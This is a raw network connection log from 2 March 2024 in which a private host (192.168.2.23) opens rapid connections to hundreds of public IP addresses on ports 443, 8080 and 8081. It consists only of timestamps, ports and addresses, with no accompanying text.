Mar 2, 2024 12:36:51.818437099 CET	50182	443	192.168.2.23	210.78.18.97
Mar 2, 2024 12:36:51.818438053 CET	50182	443	192.168.2.23	37.42.57.176
Mar 2, 2024 12:36:51.818437099 CET	50182	443	192.168.2.23	212.110.244.166
Mar 2, 2024 12:36:51.818439960 CET	50182	443	192.168.2.23	2.61.62.249
Mar 2, 2024 12:36:51.818444014 CET	50182	443	192.168.2.23	210.57.122.10
Mar 2, 2024 12:36:51.818439960 CET	50182	443	192.168.2.23	118.226.98.81
Mar 2, 2024 12:36:51.818438053 CET	50182	443	192.168.2.23	79.15.209.215
Mar 2, 2024 12:36:51.818439960 CET	50182	443	192.168.2.23	118.45.218.39
Mar 2, 2024 12:36:51.818438053 CET	50182	443	192.168.2.23	79.23.0.163
Mar 2, 2024 12:36:51.818437099 CET	50182	443	192.168.2.23	2.69.201.251
Mar 2, 2024 12:36:51.818444014 CET	50182	443	192.168.2.23	210.120.109.221
Mar 2, 2024 12:36:51.818440914 CET	443	50182	94.2.22.65	192.168.2.23
Mar 2, 2024 12:36:51.818444014 CET	50182	443	192.168.2.23	210.207.124.255
Mar 2, 2024 12:36:51.818437099 CET	50182	443	192.168.2.23	94.120.113.209
Mar 2, 2024 12:36:51.818450928 CET	50182	443	192.168.2.23	109.124.179.130
Mar 2, 2024 12:36:51.818437099 CET	50182	443	192.168.2.23	37.66.117.197
Mar 2, 2024 12:36:51.818450928 CET	50182	443	192.168.2.23	79.194.33.113
Mar 2, 2024 12:36:51.818437099 CET	50182	443	192.168.2.23	42.209.21.238
Mar 2, 2024 12:36:51.818453074 CET	50182	443	192.168.2.23	5.115.20.57
Mar 2, 2024 12:36:51.818454981 CET	443	50182	79.15.209.215	192.168.2.23
Mar 2, 2024 12:36:51.818454981 CET	50182	443	192.168.2.23	94.142.249.172
Mar 2, 2024 12:36:51.818451881 CET	443	50182	178.35.144.140	192.168.2.23
Mar 2, 2024 12:36:51.818459034 CET	443	50182	118.226.98.81	192.168.2.23
Mar 2, 2024 12:36:51.818459988 CET	443	50182	210.57.122.10	192.168.2.23
Mar 2, 2024 12:36:51.818459988 CET	443	50182	5.115.20.57	192.168.2.23
Mar 2, 2024 12:36:51.818461895 CET	443	50182	210.207.124.255	192.168.2.23
Mar 2, 2024 12:36:51.818463087 CET	443	50182	118.45.218.39	192.168.2.23
Mar 2, 2024 12:36:51.818464041 CET	443	50182	2.61.62.249	192.168.2.23
Mar 2, 2024 12:36:51.818469048 CET	50182	443	192.168.2.23	210.177.121.92
Mar 2, 2024 12:36:51.818470001 CET	443	50182	79.194.33.113	192.168.2.23
Mar 2, 2024 12:36:51.818470955 CET	443	50182	109.124.179.130	192.168.2.23
Mar 2, 2024 12:36:51.818473101 CET	443	50182	210.136.224.142	192.168.2.23
Mar 2, 2024 12:36:51.818474054 CET	50182	443	192.168.2.23	37.95.173.205
Mar 2, 2024 12:36:51.818474054 CET	443	50182	79.23.0.163	192.168.2.23
Mar 2, 2024 12:36:51.818474054 CET	50182	443	192.168.2.23	109.21.186.129
Mar 2, 2024 12:36:51.818474054 CET	50182	443	192.168.2.23	2.20.112.162
Mar 2, 2024 12:36:51.818476915 CET	443	50182	210.177.121.92	192.168.2.23
Mar 2, 2024 12:36:51.818476915 CET	50182	443	192.168.2.23	2.204.112.251
Mar 2, 2024 12:36:51.818479061 CET	50182	443	192.168.2.23	94.212.240.250
Mar 2, 2024 12:36:51.818476915 CET	443	50182	212.110.244.166	192.168.2.23
Mar 2, 2024 12:36:51.818479061 CET	50182	443	192.168.2.23	79.180.162.185
Mar 2, 2024 12:36:51.818474054 CET	50182	443	192.168.2.23	210.95.213.63
Mar 2, 2024 12:36:51.818476915 CET	50950	8080	192.168.2.23	201.216.204.67
Mar 2, 2024 12:36:51.818474054 CET	50182	443	192.168.2.23	94.204.58.33
Mar 2, 2024 12:36:51.818479061 CET	50182	443	192.168.2.23	2.142.121.155
Mar 2, 2024 12:36:51.818487883 CET	443	50182	2.69.201.251	192.168.2.23
Mar 2, 2024 12:36:51.818483114 CET	50182	443	192.168.2.23	2.174.180.188
Mar 2, 2024 12:36:51.818476915 CET	50182	443	192.168.2.23	5.30.161.239
Mar 2, 2024 12:36:51.818479061 CET	50182	443	192.168.2.23	118.200.29.52
Mar 2, 2024 12:36:51.818495035 CET	443	50182	94.120.113.209	192.168.2.23
Mar 2, 2024 12:36:51.818492889 CET	50182	443	192.168.2.23	2.16.42.255
Mar 2, 2024 12:36:51.818491936 CET	50182	443	192.168.2.23	37.137.87.161
Mar 2, 2024 12:36:51.818492889 CET	50182	443	192.168.2.23	37.203.108.98
Mar 2, 2024 12:36:51.818491936 CET	50182	443	192.168.2.23	210.57.122.10
Mar 2, 2024 12:36:51.818479061 CET	50950	8080	192.168.2.23	187.211.195.49
Mar 2, 2024 12:36:51.818499088 CET	50950	8080	192.168.2.23	189.86.129.224
Mar 2, 2024 12:36:51.818492889 CET	50182	443	192.168.2.23	178.35.144.140
Mar 2, 2024 12:36:51.818499088 CET	50182	443	192.168.2.23	94.2.22.65
Mar 2, 2024 12:36:51.818504095 CET	50182	443	192.168.2.23	5.115.20.57
Mar 2, 2024 12:36:51.818504095 CET	50182	443	192.168.2.23	109.124.179.130
Mar 2, 2024 12:36:51.818500042 CET	443	50182	109.21.186.129	192.168.2.23
Mar 2, 2024 12:36:51.818502903 CET	443	50182	42.209.21.238	192.168.2.23
Mar 2, 2024 12:36:51.818512917 CET	443	50182	79.180.162.185	192.168.2.23
Mar 2, 2024 12:36:51.818519115 CET	443	50182	2.16.42.255	192.168.2.23
Mar 2, 2024 12:36:51.818522930 CET	443	50182	2.142.121.155	192.168.2.23
Mar 2, 2024 12:36:51.818522930 CET	50182	443	192.168.2.23	210.207.124.255
Mar 2, 2024 12:36:51.818522930 CET	50182	443	192.168.2.23	79.213.5.146
Mar 2, 2024 12:36:51.818526983 CET	443	50182	210.95.213.63	192.168.2.23
Mar 2, 2024 12:36:51.818531036 CET	443	50182	37.203.108.98	192.168.2.23
Mar 2, 2024 12:36:51.818531036 CET	443	50182	79.213.5.146	192.168.2.23
Mar 2, 2024 12:36:51.818532944 CET	50182	443	192.168.2.23	5.112.145.149
Mar 2, 2024 12:36:51.818532944 CET	50182	443	192.168.2.23	79.126.237.107
Mar 2, 2024 12:36:51.818532944 CET	50182	443	192.168.2.23	42.225.16.209
Mar 2, 2024 12:36:51.818532944 CET	50950	8080	192.168.2.23	187.249.12.134
Mar 2, 2024 12:36:51.818532944 CET	50950	8080	192.168.2.23	201.45.206.161
Mar 2, 2024 12:36:51.818532944 CET	50182	443	192.168.2.23	210.136.224.142
Mar 2, 2024 12:36:51.818532944 CET	50182	443	192.168.2.23	212.110.244.166
Mar 2, 2024 12:36:51.818536997 CET	50182	443	192.168.2.23	210.177.121.92
Mar 2, 2024 12:36:51.818532944 CET	50182	443	192.168.2.23	2.69.201.251
Mar 2, 2024 12:36:51.818536997 CET	50182	443	192.168.2.23	118.226.98.81
Mar 2, 2024 12:36:51.818536997 CET	50182	443	192.168.2.23	2.61.62.249
Mar 2, 2024 12:36:51.818538904 CET	50182	443	192.168.2.23	79.15.209.215
Mar 2, 2024 12:36:51.818537951 CET	50182	443	192.168.2.23	118.45.218.39
Mar 2, 2024 12:36:51.818538904 CET	50182	443	192.168.2.23	79.23.0.163
Mar 2, 2024 12:36:51.818537951 CET	50182	443	192.168.2.23	178.119.240.206
Mar 2, 2024 12:36:51.818538904 CET	50182	443	192.168.2.23	79.128.212.239
Mar 2, 2024 12:36:51.818543911 CET	50182	443	192.168.2.23	79.56.19.191
Mar 2, 2024 12:36:51.818545103 CET	50182	443	192.168.2.23	79.194.33.113
Mar 2, 2024 12:36:51.818545103 CET	50182	443	192.168.2.23	5.230.125.104
Mar 2, 2024 12:36:51.818545103 CET	50182	443	192.168.2.23	42.75.142.99
Mar 2, 2024 12:36:51.818551064 CET	443	50182	79.56.19.191	192.168.2.23
Mar 2, 2024 12:36:51.818552971 CET	443	50182	178.119.240.206	192.168.2.23
Mar 2, 2024 12:36:51.818552971 CET	443	50182	79.128.212.239	192.168.2.23
Mar 2, 2024 12:36:51.818555117 CET	443	50182	5.112.145.149	192.168.2.23
Mar 2, 2024 12:36:51.818556070 CET	443	50182	5.230.125.104	192.168.2.23
Mar 2, 2024 12:36:51.818563938 CET	50950	8080	192.168.2.23	189.59.113.139
Mar 2, 2024 12:36:51.818569899 CET	443	50182	42.75.142.99	192.168.2.23
Mar 2, 2024 12:36:51.818569899 CET	443	50182	79.126.237.107	192.168.2.23
Mar 2, 2024 12:36:51.818572044 CET	50182	443	192.168.2.23	109.21.186.129
Mar 2, 2024 12:36:51.818572998 CET	50950	8080	192.168.2.23	187.3.10.204
Mar 2, 2024 12:36:51.818576097 CET	443	50182	42.225.16.209	192.168.2.23
Mar 2, 2024 12:36:51.818578005 CET	50182	443	192.168.2.23	37.203.108.98
Mar 2, 2024 12:36:51.818578005 CET	50182	443	192.168.2.23	2.16.42.255
Mar 2, 2024 12:36:51.818578005 CET	50182	443	192.168.2.23	79.180.162.185
Mar 2, 2024 12:36:51.818578005 CET	50182	443	192.168.2.23	2.142.121.155
Mar 2, 2024 12:36:51.818584919 CET	50182	443	192.168.2.23	210.95.213.63
Mar 2, 2024 12:36:51.818586111 CET	50182	443	192.168.2.23	178.119.240.206
Mar 2, 2024 12:36:51.818589926 CET	50182	443	192.168.2.23	94.120.113.209
Mar 2, 2024 12:36:51.818589926 CET	50182	443	192.168.2.23	42.209.21.238
Mar 2, 2024 12:36:51.818589926 CET	50182	443	192.168.2.23	94.98.241.18
Mar 2, 2024 12:36:51.818589926 CET	50950	8080	192.168.2.23	189.147.23.84
Mar 2, 2024 12:36:51.818591118 CET	50950	8080	192.168.2.23	201.117.225.82
Mar 2, 2024 12:36:51.818594933 CET	50182	443	192.168.2.23	79.128.212.239
Mar 2, 2024 12:36:51.818594933 CET	50950	8080	192.168.2.23	187.202.19.49
Mar 2, 2024 12:36:51.818602085 CET	50182	443	192.168.2.23	5.230.125.104
Mar 2, 2024 12:36:51.818605900 CET	443	50182	94.98.241.18	192.168.2.23
Mar 2, 2024 12:36:51.818608999 CET	50950	8080	192.168.2.23	201.79.119.254
Mar 2, 2024 12:36:51.818615913 CET	50182	443	192.168.2.23	79.213.5.146
Mar 2, 2024 12:36:51.818615913 CET	50182	443	192.168.2.23	79.56.19.191
Mar 2, 2024 12:36:51.818623066 CET	50182	443	192.168.2.23	42.75.142.99
Mar 2, 2024 12:36:51.818627119 CET	50182	443	192.168.2.23	5.112.145.149
Mar 2, 2024 12:36:51.818627119 CET	50182	443	192.168.2.23	42.225.16.209
Mar 2, 2024 12:36:51.818627119 CET	50950	8080	192.168.2.23	201.221.125.6
Mar 2, 2024 12:36:51.818627119 CET	50182	443	192.168.2.23	79.126.237.107
Mar 2, 2024 12:36:51.818631887 CET	50950	8080	192.168.2.23	201.108.241.200
Mar 2, 2024 12:36:51.818641901 CET	50694	8081	192.168.2.23	100.165.132.88
Mar 2, 2024 12:36:51.818650961 CET	50950	8080	192.168.2.23	201.242.213.20
Mar 2, 2024 12:36:51.818651915 CET	50950	8080	192.168.2.23	189.18.177.46
Mar 2, 2024 12:36:51.818661928 CET	50694	8081	192.168.2.23	190.27.151.230
Mar 2, 2024 12:36:51.818669081 CET	50694	8081	192.168.2.23	119.27.147.168
Mar 2, 2024 12:36:51.818670988 CET	50950	8080	192.168.2.23	189.36.234.62
Mar 2, 2024 12:36:51.818670988 CET	50950	8080	192.168.2.23	187.86.170.43
Mar 2, 2024 12:36:51.818670988 CET	50694	8081	192.168.2.23	208.140.15.175
Mar 2, 2024 12:36:51.818670988 CET	50182	443	192.168.2.23	94.98.241.18
Mar 2, 2024 12:36:51.818670988 CET	50694	8081	192.168.2.23	104.11.248.50
Mar 2, 2024 12:36:51.818674088 CET	50950	8080	192.168.2.23	189.133.214.167
Mar 2, 2024 12:36:51.818674088 CET	50950	8080	192.168.2.23	189.42.98.103
Mar 2, 2024 12:36:51.818674088 CET	50950	8080	192.168.2.23	189.77.16.211
Mar 2, 2024 12:36:51.818674088 CET	50950	8080	192.168.2.23	187.2.249.104
Mar 2, 2024 12:36:51.818674088 CET	50694	8081	192.168.2.23	190.123.51.197
Mar 2, 2024 12:36:51.818674088 CET	50950	8080	192.168.2.23	187.127.93.108
Mar 2, 2024 12:36:51.818674088 CET	50950	8080	192.168.2.23	189.53.192.21
Mar 2, 2024 12:36:51.818677902 CET	50950	8080	192.168.2.23	189.102.205.102
Mar 2, 2024 12:36:51.818677902 CET	50694	8081	192.168.2.23	104.53.41.184
Mar 2, 2024 12:36:51.818680048 CET	50694	8081	192.168.2.23	205.166.119.42
Mar 2, 2024 12:36:51.818680048 CET	50950	8080	192.168.2.23	201.240.85.31
Mar 2, 2024 12:36:51.818686008 CET	50694	8081	192.168.2.23	71.90.63.70
Mar 2, 2024 12:36:51.818690062 CET	50694	8081	192.168.2.23	107.109.73.110
Mar 2, 2024 12:36:51.818690062 CET	50694	8081	192.168.2.23	47.120.14.113
Mar 2, 2024 12:36:51.818694115 CET	50950	8080	192.168.2.23	187.149.125.64
Mar 2, 2024 12:36:51.818694115 CET	50950	8080	192.168.2.23	201.7.104.111
Mar 2, 2024 12:36:51.818694115 CET	50694	8081	192.168.2.23	103.196.82.143
Mar 2, 2024 12:36:51.818698883 CET	50694	8081	192.168.2.23	171.151.195.155
Mar 2, 2024 12:36:51.818698883 CET	50950	8080	192.168.2.23	189.96.63.161
Mar 2, 2024 12:36:51.818698883 CET	50694	8081	192.168.2.23	98.57.212.227
Mar 2, 2024 12:36:51.818700075 CET	50950	8080	192.168.2.23	201.147.133.251
Mar 2, 2024 12:36:51.818700075 CET	50950	8080	192.168.2.23	189.216.126.8
Mar 2, 2024 12:36:51.818701029 CET	50694	8081	192.168.2.23	102.246.145.65
Mar 2, 2024 12:36:51.818700075 CET	50694	8081	192.168.2.23	157.139.90.91
Mar 2, 2024 12:36:51.818701029 CET	50694	8081	192.168.2.23	219.228.31.38
Mar 2, 2024 12:36:51.818701029 CET	50694	8081	192.168.2.23	187.249.101.92
Mar 2, 2024 12:36:51.818703890 CET	50694	8081	192.168.2.23	187.210.223.59
Mar 2, 2024 12:36:51.818703890 CET	50950	8080	192.168.2.23	187.108.28.43
Mar 2, 2024 12:36:51.818706989 CET	50950	8080	192.168.2.23	201.112.119.53
Mar 2, 2024 12:36:51.818706989 CET	50950	8080	192.168.2.23	189.158.108.90
Mar 2, 2024 12:36:51.818706989 CET	50694	8081	192.168.2.23	163.247.250.201
Mar 2, 2024 12:36:51.818708897 CET	50694	8081	192.168.2.23	203.87.219.137
Mar 2, 2024 12:36:51.818708897 CET	50694	8081	192.168.2.23	114.240.251.34
Mar 2, 2024 12:36:51.818708897 CET	50694	8081	192.168.2.23	201.1.60.173
Mar 2, 2024 12:36:51.818725109 CET	50694	8081	192.168.2.23	126.153.186.4
Mar 2, 2024 12:36:51.818727970 CET	50694	8081	192.168.2.23	119.178.124.75
Mar 2, 2024 12:36:51.818736076 CET	50950	8080	192.168.2.23	189.123.203.117
Mar 2, 2024 12:36:51.818736076 CET	50950	8080	192.168.2.23	187.44.252.227
Mar 2, 2024 12:36:51.818739891 CET	50950	8080	192.168.2.23	189.197.89.27
Mar 2, 2024 12:36:51.818739891 CET	50950	8080	192.168.2.23	201.153.172.156
Mar 2, 2024 12:36:51.818739891 CET	50950	8080	192.168.2.23	187.177.10.47
Mar 2, 2024 12:36:51.818749905 CET	50950	8080	192.168.2.23	189.199.198.37
Mar 2, 2024 12:36:51.818756104 CET	50950	8080	192.168.2.23	187.5.62.54
Mar 2, 2024 12:36:51.818756104 CET	50950	8080	192.168.2.23	189.203.98.46
Mar 2, 2024 12:36:51.818757057 CET	50950	8080	192.168.2.23	201.70.185.141
Mar 2, 2024 12:36:51.818757057 CET	50950	8080	192.168.2.23	187.148.133.225
Mar 2, 2024 12:36:51.818757057 CET	50694	8081	192.168.2.23	43.215.196.124
Mar 2, 2024 12:36:51.818759918 CET	50694	8081	192.168.2.23	135.69.232.209
Mar 2, 2024 12:36:51.818757057 CET	50950	8080	192.168.2.23	201.97.37.216
Mar 2, 2024 12:36:51.818759918 CET	50950	8080	192.168.2.23	201.227.139.81
Mar 2, 2024 12:36:51.818759918 CET	50950	8080	192.168.2.23	187.230.151.225
Mar 2, 2024 12:36:51.818770885 CET	50950	8080	192.168.2.23	187.108.231.105
Mar 2, 2024 12:36:51.818773031 CET	50694	8081	192.168.2.23	143.77.253.9
Mar 2, 2024 12:36:51.818773031 CET	50694	8081	192.168.2.23	43.91.73.4
Mar 2, 2024 12:36:51.818773031 CET	50694	8081	192.168.2.23	150.2.8.48
Mar 2, 2024 12:36:51.818780899 CET	50950	8080	192.168.2.23	201.189.12.236
Mar 2, 2024 12:36:51.818785906 CET	50694	8081	192.168.2.23	121.195.26.6
Mar 2, 2024 12:36:51.818785906 CET	50694	8081	192.168.2.23	19.155.33.91
Mar 2, 2024 12:36:51.818789005 CET	50950	8080	192.168.2.23	201.222.117.29
Mar 2, 2024 12:36:51.818789005 CET	50694	8081	192.168.2.23	99.226.145.219
Mar 2, 2024 12:36:51.818789005 CET	50694	8081	192.168.2.23	53.102.79.225
Mar 2, 2024 12:36:51.818790913 CET	50694	8081	192.168.2.23	187.174.121.244
Mar 2, 2024 12:36:51.818790913 CET	50950	8080	192.168.2.23	201.219.78.123
Mar 2, 2024 12:36:51.818790913 CET	50694	8081	192.168.2.23	100.232.17.78
Mar 2, 2024 12:36:51.818790913 CET	50694	8081	192.168.2.23	85.114.111.201
Mar 2, 2024 12:36:51.818793058 CET	50694	8081	192.168.2.23	157.164.191.46
Mar 2, 2024 12:36:51.818806887 CET	50950	8080	192.168.2.23	187.72.116.37
Mar 2, 2024 12:36:51.818806887 CET	50694	8081	192.168.2.23	222.83.200.127
Mar 2, 2024 12:36:51.818809986 CET	50950	8080	192.168.2.23	201.35.9.108
Mar 2, 2024 12:36:51.818809986 CET	50950	8080	192.168.2.23	189.254.56.146
Mar 2, 2024 12:36:51.818809986 CET	50694	8081	192.168.2.23	68.22.83.235
Mar 2, 2024 12:36:51.818810940 CET	50950	8080	192.168.2.23	187.171.87.90
Mar 2, 2024 12:36:51.818810940 CET	50694	8081	192.168.2.23	40.59.206.14
Mar 2, 2024 12:36:51.818813086 CET	50950	8080	192.168.2.23	201.114.220.46
Mar 2, 2024 12:36:51.818814039 CET	50950	8080	192.168.2.23	189.216.109.93
Mar 2, 2024 12:36:51.818814039 CET	50950	8080	192.168.2.23	189.252.234.134
Mar 2, 2024 12:36:51.818814039 CET	50694	8081	192.168.2.23	48.125.114.118
Mar 2, 2024 12:36:51.818814039 CET	50950	8080	192.168.2.23	201.239.192.27
Mar 2, 2024 12:36:51.818814039 CET	50950	8080	192.168.2.23	187.38.113.175
Mar 2, 2024 12:36:51.818814039 CET	50694	8081	192.168.2.23	63.223.229.78
Mar 2, 2024 12:36:51.818814039 CET	50950	8080	192.168.2.23	187.94.228.21
Mar 2, 2024 12:36:51.818820000 CET	50950	8080	192.168.2.23	189.219.90.30
Mar 2, 2024 12:36:51.818831921 CET	50694	8081	192.168.2.23	173.127.23.214
Mar 2, 2024 12:36:51.818831921 CET	50950	8080	192.168.2.23	201.239.55.33
Mar 2, 2024 12:36:51.818831921 CET	50694	8081	192.168.2.23	32.237.181.72
Mar 2, 2024 12:36:51.818831921 CET	50694	8081	192.168.2.23	169.67.0.61
Mar 2, 2024 12:36:51.818833113 CET	50950	8080	192.168.2.23	201.135.52.231
Mar 2, 2024 12:36:51.818833113 CET	50694	8081	192.168.2.23	65.34.152.209
Mar 2, 2024 12:36:51.818833113 CET	50694	8081	192.168.2.23	84.19.135.150
Mar 2, 2024 12:36:51.818834066 CET	50950	8080	192.168.2.23	187.122.88.119
Mar 2, 2024 12:36:51.818835020 CET	50694	8081	192.168.2.23	134.62.130.137
Mar 2, 2024 12:36:51.818835974 CET	50694	8081	192.168.2.23	211.96.95.211
Mar 2, 2024 12:36:51.818835974 CET	50694	8081	192.168.2.23	187.164.98.250
Mar 2, 2024 12:36:51.818835020 CET	50950	8080	192.168.2.23	201.46.178.124
Mar 2, 2024 12:36:51.818836927 CET	50694	8081	192.168.2.23	71.38.82.67
Mar 2, 2024 12:36:51.818835020 CET	50694	8081	192.168.2.23	8.190.93.183
Mar 2, 2024 12:36:51.818839073 CET	50950	8080	192.168.2.23	189.107.223.212
Mar 2, 2024 12:36:51.818836927 CET	50950	8080	192.168.2.23	187.117.19.251
Mar 2, 2024 12:36:51.818836927 CET	50950	8080	192.168.2.23	187.35.131.244
Mar 2, 2024 12:36:51.818850040 CET	50694	8081	192.168.2.23	5.218.177.46
Mar 2, 2024 12:36:51.818850040 CET	50694	8081	192.168.2.23	149.235.247.3
Mar 2, 2024 12:36:51.818850040 CET	50694	8081	192.168.2.23	203.98.71.16
Mar 2, 2024 12:36:51.818850040 CET	50694	8081	192.168.2.23	89.224.86.59
Mar 2, 2024 12:36:51.818856955 CET	50694	8081	192.168.2.23	117.169.167.135
Mar 2, 2024 12:36:51.818856955 CET	50950	8080	192.168.2.23	189.233.167.182
Mar 2, 2024 12:36:51.818859100 CET	50694	8081	192.168.2.23	185.128.98.212
Mar 2, 2024 12:36:51.818859100 CET	50950	8080	192.168.2.23	201.93.177.2
Mar 2, 2024 12:36:51.818861008 CET	50694	8081	192.168.2.23	212.0.155.188
Mar 2, 2024 12:36:51.818861008 CET	50694	8081	192.168.2.23	78.220.137.225
Mar 2, 2024 12:36:51.818861008 CET	50694	8081	192.168.2.23	123.198.146.188
Mar 2, 2024 12:36:51.818861008 CET	50694	8081	192.168.2.23	31.197.59.116
Mar 2, 2024 12:36:51.818861008 CET	50950	8080	192.168.2.23	187.251.59.52
Mar 2, 2024 12:36:51.818861008 CET	50694	8081	192.168.2.23	142.105.22.79
Mar 2, 2024 12:36:51.818861008 CET	50694	8081	192.168.2.23	141.182.28.38
Mar 2, 2024 12:36:51.818861008 CET	50694	8081	192.168.2.23	51.43.233.207
Mar 2, 2024 12:36:51.818867922 CET	50694	8081	192.168.2.23	142.105.8.182
Mar 2, 2024 12:36:51.818867922 CET	50950	8080	192.168.2.23	189.135.178.180
Mar 2, 2024 12:36:51.818867922 CET	50694	8081	192.168.2.23	111.166.121.60
Mar 2, 2024 12:36:51.818867922 CET	50950	8080	192.168.2.23	201.121.211.176
Mar 2, 2024 12:36:51.818886042 CET	50694	8081	192.168.2.23	148.7.188.115
Mar 2, 2024 12:36:51.818886042 CET	50950	8080	192.168.2.23	201.127.193.41
Mar 2, 2024 12:36:51.818886042 CET	50694	8081	192.168.2.23	48.132.129.176
Mar 2, 2024 12:36:51.818886042 CET	50950	8080	192.168.2.23	201.4.29.200
Mar 2, 2024 12:36:51.818886042 CET	50694	8081	192.168.2.23	177.85.222.13
Mar 2, 2024 12:36:51.818888903 CET	50950	8080	192.168.2.23	187.38.215.10
Mar 2, 2024 12:36:51.818888903 CET	50950	8080	192.168.2.23	187.22.40.156
Mar 2, 2024 12:36:51.818891048 CET	50950	8080	192.168.2.23	201.57.109.70
Mar 2, 2024 12:36:51.818891048 CET	50950	8080	192.168.2.23	187.195.128.143
Mar 2, 2024 12:36:51.818891048 CET	50694	8081	192.168.2.23	139.115.163.227
Mar 2, 2024 12:36:51.818895102 CET	50950	8080	192.168.2.23	201.17.250.10
Mar 2, 2024 12:36:51.818895102 CET	50694	8081	192.168.2.23	183.223.88.22
Mar 2, 2024 12:36:51.818895102 CET	50950	8080	192.168.2.23	201.91.22.53
Mar 2, 2024 12:36:51.818895102 CET	50694	8081	192.168.2.23	5.41.72.55
Mar 2, 2024 12:36:51.818895102 CET	50694	8081	192.168.2.23	72.86.141.0
Mar 2, 2024 12:36:51.818895102 CET	50950	8080	192.168.2.23	201.54.51.131
Mar 2, 2024 12:36:51.818898916 CET	50694	8081	192.168.2.23	64.64.236.26
Mar 2, 2024 12:36:51.818898916 CET	50950	8080	192.168.2.23	189.218.105.48
Mar 2, 2024 12:36:51.818898916 CET	50694	8081	192.168.2.23	1.166.23.116
Mar 2, 2024 12:36:51.818898916 CET	50950	8080	192.168.2.23	189.28.213.87
Mar 2, 2024 12:36:51.818898916 CET	50694	8081	192.168.2.23	125.39.242.188
Mar 2, 2024 12:36:51.818898916 CET	50694	8081	192.168.2.23	110.121.1.5
Mar 2, 2024 12:36:51.818900108 CET	50694	8081	192.168.2.23	116.182.36.180
Mar 2, 2024 12:36:51.818900108 CET	50694	8081	192.168.2.23	138.179.231.19
Mar 2, 2024 12:36:51.818900108 CET	50950	8080	192.168.2.23	201.167.9.125
Mar 2, 2024 12:36:51.818900108 CET	50694	8081	192.168.2.23	139.133.70.2
Mar 2, 2024 12:36:51.818900108 CET	50694	8081	192.168.2.23	125.225.183.132
Mar 2, 2024 12:36:51.818900108 CET	50694	8081	192.168.2.23	222.225.50.85
Mar 2, 2024 12:36:51.818900108 CET	50950	8080	192.168.2.23	201.81.110.229
Mar 2, 2024 12:36:51.818900108 CET	50694	8081	192.168.2.23	166.163.116.100
Mar 2, 2024 12:36:51.818908930 CET	50694	8081	192.168.2.23	155.175.47.176
Mar 2, 2024 12:36:51.818908930 CET	50694	8081	192.168.2.23	95.15.108.226
Mar 2, 2024 12:36:51.818908930 CET	50694	8081	192.168.2.23	200.87.245.167
Mar 2, 2024 12:36:51.818908930 CET	50694	8081	192.168.2.23	121.162.115.50
Mar 2, 2024 12:36:51.818909883 CET	50950	8080	192.168.2.23	187.30.62.34
Mar 2, 2024 12:36:51.818917990 CET	50950	8080	192.168.2.23	189.80.196.228
Mar 2, 2024 12:36:51.818917990 CET	50950	8080	192.168.2.23	187.187.246.39
Mar 2, 2024 12:36:51.818918943 CET	50950	8080	192.168.2.23	187.206.48.57
Mar 2, 2024 12:36:51.818918943 CET	50950	8080	192.168.2.23	201.84.66.137
Mar 2, 2024 12:36:51.818918943 CET	50950	8080	192.168.2.23	187.212.18.135
Mar 2, 2024 12:36:51.818918943 CET	50950	8080	192.168.2.23	187.197.23.169
Mar 2, 2024 12:36:51.818921089 CET	50694	8081	192.168.2.23	23.170.67.47
Mar 2, 2024 12:36:51.818918943 CET	50694	8081	192.168.2.23	123.238.209.130
Mar 2, 2024 12:36:51.818921089 CET	50694	8081	192.168.2.23	194.40.135.63
Mar 2, 2024 12:36:51.818918943 CET	50950	8080	192.168.2.23	187.52.179.195
Mar 2, 2024 12:36:51.818921089 CET	50694	8081	192.168.2.23	172.226.109.157
Mar 2, 2024 12:36:51.818921089 CET	50950	8080	192.168.2.23	201.175.42.164
Mar 2, 2024 12:36:51.818921089 CET	50950	8080	192.168.2.23	189.54.195.108
Mar 2, 2024 12:36:51.818921089 CET	50694	8081	192.168.2.23	175.105.167.235
Mar 2, 2024 12:36:51.818921089 CET	50694	8081	192.168.2.23	41.235.15.140
Mar 2, 2024 12:36:51.818921089 CET	50950	8080	192.168.2.23	187.43.22.49
Mar 2, 2024 12:36:51.818927050 CET	50950	8080	192.168.2.23	187.115.117.41
Mar 2, 2024 12:36:51.818927050 CET	50694	8081	192.168.2.23	83.245.107.81
Mar 2, 2024 12:36:51.818927050 CET	50694	8081	192.168.2.23	81.20.88.188
Mar 2, 2024 12:36:51.818927050 CET	50950	8080	192.168.2.23	189.38.203.19
Mar 2, 2024 12:36:51.818927050 CET	50950	8080	192.168.2.23	189.156.218.116
Mar 2, 2024 12:36:51.818957090 CET	50950	8080	192.168.2.23	187.73.66.200
Mar 2, 2024 12:36:51.818957090 CET	50694	8081	192.168.2.23	135.194.255.128
Mar 2, 2024 12:36:51.818957090 CET	50950	8080	192.168.2.23	201.255.47.165
Mar 2, 2024 12:36:51.818957090 CET	50694	8081	192.168.2.23	99.68.37.65
Mar 2, 2024 12:36:51.818957090 CET	50950	8080	192.168.2.23	201.35.126.193
Mar 2, 2024 12:36:51.818957090 CET	50694	8081	192.168.2.23	202.114.196.159
Mar 2, 2024 12:36:51.818957090 CET	50694	8081	192.168.2.23	160.28.142.44
Mar 2, 2024 12:36:51.818957090 CET	50950	8080	192.168.2.23	189.72.74.4
Mar 2, 2024 12:36:51.818965912 CET	50694	8081	192.168.2.23	172.192.221.144
Mar 2, 2024 12:36:51.818965912 CET	50694	8081	192.168.2.23	69.14.199.85
Mar 2, 2024 12:36:51.818965912 CET	50950	8080	192.168.2.23	189.225.181.59
Mar 2, 2024 12:36:51.818965912 CET	50694	8081	192.168.2.23	189.84.70.171
Mar 2, 2024 12:36:51.818965912 CET	50694	8081	192.168.2.23	205.124.16.197
Mar 2, 2024 12:36:51.818965912 CET	50950	8080	192.168.2.23	189.61.74.143
Mar 2, 2024 12:36:51.818965912 CET	50950	8080	192.168.2.23	187.77.12.253
Mar 2, 2024 12:36:51.818965912 CET	50694	8081	192.168.2.23	157.56.231.47
Mar 2, 2024 12:36:51.818980932 CET	50694	8081	192.168.2.23	4.190.232.111
Mar 2, 2024 12:36:51.818980932 CET	50950	8080	192.168.2.23	201.140.23.215
Mar 2, 2024 12:36:51.818980932 CET	50950	8080	192.168.2.23	189.100.24.99
Mar 2, 2024 12:36:51.818980932 CET	50950	8080	192.168.2.23	187.208.15.128
Mar 2, 2024 12:36:51.818980932 CET	50694	8081	192.168.2.23	2.24.197.53
Mar 2, 2024 12:36:51.818980932 CET	50694	8081	192.168.2.23	159.209.131.251
Mar 2, 2024 12:36:51.818980932 CET	50950	8080	192.168.2.23	187.244.226.76
Mar 2, 2024 12:36:51.818980932 CET	50950	8080	192.168.2.23	189.213.119.67
Mar 2, 2024 12:36:51.818985939 CET	50950	8080	192.168.2.23	189.65.72.253
